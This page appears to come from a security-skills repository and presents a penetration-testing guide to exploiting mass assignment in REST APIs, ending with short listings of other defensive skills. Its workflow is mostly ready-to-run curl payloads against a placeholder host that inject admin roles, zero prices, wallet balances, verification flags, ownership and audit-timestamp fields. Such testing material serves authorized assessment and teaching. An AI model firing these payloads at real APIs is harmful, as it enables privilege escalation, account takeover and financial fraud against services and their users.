exploiting-mass-assignment-in-rest-apis
Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.
- License 许可
- Apache-2.0
- 最近更新
- 2026-08-31
- Stars
- ★ 3.6w
- Forks
- 4.4k
01 前言 Front Matter
- name
- exploiting-mass-assignment-in-rest-apis
- tags
- [ "mass-assignment", "api-security", "privilege-escalation", "rest-api", "autobinding", "parameter-injection", "owasp-api" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "PR.PS-01", "ID.RA-01", "PR.DS-10", "DE.CM-01" ]
- subdomain
- web-application-security
- description
- Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.
- mitre_attack
- [ "T1190", "T1059.007", "T1505.003", "T1083", "T1068" ]
02 资源文件 3
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md2.4 KB
- 脚本scripts/agent.py4.5 KB
03 SKILL.md 正文
Exploiting Mass Assignment in REST APIs
When to Use
- When testing REST APIs that accept JSON input for creating or updating resources
- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
- When testing user registration, profile update, or account management endpoints
- During bug bounty hunting on applications with CRUD API operations
- When evaluating role-based access control implementation in API-driven applications
Prerequisites
- Burp Suite or Postman for API request crafting and interception
- Understanding of ORM auto-binding behavior in common frameworks
- API documentation or endpoint discovery through reconnaissance
- Multiple user accounts with different privilege levels for testing
- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
- Arjun or param-miner for hidden parameter discovery
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Discover API Structure and Fields
# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance
# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates
Step 2 — Test Privilege Escalation via Role Fields
# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
# Test during registration
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
Step 3 — Test Financial and Business Logic Fields
# Modify price or balance fields
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
# Modify account balance
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
Step 4 — Test Verification and Status Fields
# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
# Modify account status
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
Step 5 — Test Relationship and Foreign Key Manipulation
# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"owner_id":"admin-user-id"}'
# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"team_id":"privileged-team","access_level":"write"}'
# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
Step 6 — Automate Mass Assignment Testing
# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id
# Python automation script
python3 mass_assignment_tester.py \
--url http://target.com/api/users/me \
--method PATCH \
--token "Bearer USER_TOKEN" \
--fields-file mass_assignment_fields.txt
# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
Key Concepts
| Concept | Description |
|---|---|
| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |
| Autobinding | Framework feature that maps HTTP parameters directly to object properties |
| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |
| Denylist | List of forbidden fields (less secure than allowlist approach) |
| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |
| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |
| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | API request interception and parameter injection |
| Postman | API testing and collection-based mass assignment testing |
| Arjun | Hidden parameter discovery tool for API endpoints |
| param-miner | Burp extension for discovering hidden parameters |
| OWASP ZAP | Automated API scanning with parameter injection |
| swagger-codegen | Generate API clients from OpenAPI specs for testing |
Common Scenarios
- Admin Privilege Escalation — Inject
"role":"admin"or"isAdmin":truein profile update to gain administrative access - Price Manipulation — Modify
priceordiscountfields in order creation endpoints to purchase items at reduced cost - Email Verification Bypass — Set
email_verified:trueduring registration or profile update to bypass verification requirements - Account Takeover — Modify
emailorphonefields to attacker-controlled values, then trigger password reset - Subscription Upgrade — Inject
plan:"enterprise"in subscription update to gain premium features without payment
Output Format
## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)
### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |
### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields
04 同仓库更多 Skills
verifying-build-provenance-with-slsa-sigstore
Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.
validating-tpm-measured-boot-attestation
Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.
validating-backup-integrity-for-recovery
Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.
triaging-windows-with-kape
Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.
triaging-vulnerabilities-with-ssvc-framework
Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.
triaging-security-incident
Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.